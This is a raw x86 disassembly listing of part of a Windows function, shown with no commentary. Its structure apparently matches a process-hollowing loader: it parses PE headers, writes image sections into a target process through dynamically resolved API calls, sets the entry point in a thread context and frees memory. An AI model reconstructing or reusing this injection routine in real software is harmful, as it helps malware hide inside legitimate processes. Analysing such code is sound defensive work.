mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a346
lea eax, [ebp - 0x2ba]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0
jne 0x41a340
lea ecx, [ebp - 0x2c1]
call fcn.0041ef80
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x2c0]
lea ecx, [ebp - 0x2c2]
call fcn.0041f030
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
cmp dword [ebp - 0x90], 0
je 0x41ac73
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x74]
mov edi, dword [ecx]
mov esi, dword [ebp - 0x90]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x54]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
call eax
sub esp, 0x14
lea ecx, [ebp - 0x2c3]
call fcn.0041f0e0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2c4]
call fcn.0041f190
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f206]
mov dword [ebp - 0x2c8], eax
lea ecx, [ebp - 0x2c9]
call fcn.0041f240
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a45a
lea eax, [ebp - 0x2c8]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0
jne 0x41a454
lea ecx, [ebp - 0x2d1]
call fcn.0041f2f0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d2]
call fcn.0041f3a0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
call fcn.0041f450
mov word [ebp - 0x2d4], ax
lea ecx, [ebp - 0x2d4]
call fcn.0041f470
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x14]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x41a724
lea ecx, [ebp - 0x2d5]
call fcn.0041f480
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2d6]
call fcn.0041f530
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f20a]
mov dword [ebp - 0x2da], eax
lea ecx, [ebp - 0x2db]
call fcn.0041f5e0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a563
lea eax, [ebp - 0x2da]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x41a55d
lea ecx, [ebp - 0x2e1]
call fcn.0041f690
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x2e0]
lea ecx, [ebp - 0x2e2]
call fcn.0041f740
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x3d8], eax
call fcn.0041f7f0
mov dword [ebp - 0x2e6], eax
lea ecx, [ebp - 0x2e6]
call fcn.0041f810
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov ecx, eax
mov eax, dword [ebp - 0x3d8]
add eax, ecx
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3d4], eax
lea eax, [ebp - 0x2e9]
mov dword [esp], eax
call fcn.0041f820
lea ecx, [ebp - 0x2e9]
call fcn.0041f840
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x388]
mov esi, eax
mov eax, dword [ebp - 0x3d0]
imul edx, esi
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x74]
mov edi, dword [ecx]
mov esi, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x18]
add esi, dword [ecx + 0xc]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x18]
add edx, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x10]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
call eax
sub esp, 0x14
lea ecx, [ebp - 0x2ea]
call fcn.0041f850
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2eb]
call fcn.0041f900
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f20e]
mov dword [ebp - 0x2ef], eax
lea ecx, [ebp - 0x2f0]
call fcn.0041f9b0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a6f6
lea eax, [ebp - 0x2ef]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0
jne 0x41a6f0
lea ecx, [ebp - 0x2f5]
call fcn.0041fa60
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x2f4]
lea ecx, [ebp - 0x2f6]
call fcn.0041fb10
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [ebp - 0xb0]
add eax, 1
mov dword [ebp - 0xb0], eax
jmp 0x41a499
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x3dc], ecx
mov edi, dword [eax]
mov eax, dword [ebp - 0x60]
mov esi, dword [eax + 0xa4]
call fcn.0041df50
mov word [ebp - 0x2f8], ax
lea ecx, [ebp - 0x2f8]
call fcn.0041df70
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add esi, eax
mov eax, dword [ebp - 0x14]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x3e0], eax
call fcn.0041df80
mov word [ebp - 0x2fa], ax
lea ecx, [ebp - 0x2fa]
call fcn.0041dfa0
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, dword [ebp - 0x3e0]
mov ecx, eax
mov eax, dword [ebp - 0x3dc]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
call eax
sub esp, 0x14
lea ecx, [ebp - 0x2fb]
call fcn.0041fbc0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2fc]
call fcn.0041fc70
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f212]
mov dword [ebp - 0x300], eax
lea ecx, [ebp - 0x301]
call fcn.0041fd20
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a86e
lea eax, [ebp - 0x300]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
jne 0x41a868
lea ecx, [ebp - 0x309]
call fcn.0041fdd0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x308]
lea ecx, [ebp - 0x30a]
call fcn.0041fe80
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x14]
add ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x60]
mov dword [eax + 0xb0], ecx
lea ecx, [ebp - 0x30b]
call fcn.0041ff30
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x30c]
call fcn.0041ffe0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f216]
mov dword [ebp - 0x310], eax
lea ecx, [ebp - 0x311]
call fcn.00420090
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a952
lea eax, [ebp - 0x310]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
jne 0x41a94c
lea ecx, [ebp - 0x319]
call fcn.00420140
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x318]
lea ecx, [ebp - 0x31a]
call fcn.004201f0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3e4], eax
lea eax, [ebp - 0x324]
mov dword [esp], eax
call fcn.00415390
lea ecx, [ebp - 0x324]
call fcn.004153b0
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3e8], eax
lea eax, [ebp - 0x337]
mov dword [esp], eax
call fcn.004202a0
lea ecx, [ebp - 0x337]
call fcn.004202c0
mov edx, dword [ebp - 0x3e8]
mov ecx, eax
mov eax, dword [ebp - 0x3e4]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x338]
call fcn.004202d0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x339]
call fcn.00420380
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f21a]
mov dword [ebp - 0x33d], eax
lea ecx, [ebp - 0x33e]
call fcn.00420430
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41aa89
lea eax, [ebp - 0x33d]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0
jne 0x41aa83
lea ecx, [ebp - 0x345]
call fcn.004204e0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x344]
lea ecx, [ebp - 0x346]
call fcn.00420590
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x60]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
lea ecx, [ebp - 0x347]
call fcn.00420640
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x348]
call fcn.004206f0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f21e]
mov dword [ebp - 0x34c], eax
lea ecx, [ebp - 0x34d]
call fcn.004207a0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41ab73
lea eax, [ebp - 0x34c]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
jne 0x41ab6d
lea ecx, [ebp - 0x355]
call fcn.00420850
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x354]
lea ecx, [ebp - 0x356]
call fcn.00420900
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ecx + 4]
mov dword [esp], ecx
call eax
sub esp, 4
lea ecx, [ebp - 0x357]
call fcn.004209b0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x358]
call fcn.00420a60
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f222]
mov dword [ebp - 0x35c], eax
lea ecx, [ebp - 0x35d]
call fcn.00420b10
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41ac59
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0
jne 0x41ac53
lea ecx, [ebp - 0x365]
call fcn.00420bc0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x364]
lea ecx, [ebp - 0x366]
call fcn.00420c70
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x367]
call fcn.00420d20
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x368]
call fcn.00420dd0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f226]
mov dword [ebp - 0x36c], eax
lea ecx, [ebp - 0x36d]
call fcn.00420e80
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41ad28
lea eax, [ebp - 0x36c]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
jne 0x41ad22
lea ecx, [ebp - 0x375]
call fcn.00420f30
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x374]
lea ecx, [ebp - 0x376]
call fcn.00420fe0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
jmp 0x41ad47
jmp 0x41ad4c
jmp 0x41ad51
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3f0], eax
call fcn.0041f450
mov word [ebp - 0x378], ax
lea ecx, [ebp - 0x378]
call fcn.0041f470
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, dword [ebp - 0x3f0]
mov ecx, eax
mov eax, dword [ebp - 0x3ec]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x8000
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x384]
add esp, 0x40c
pop esi
pop edi
pop ebx
pop ebp
ret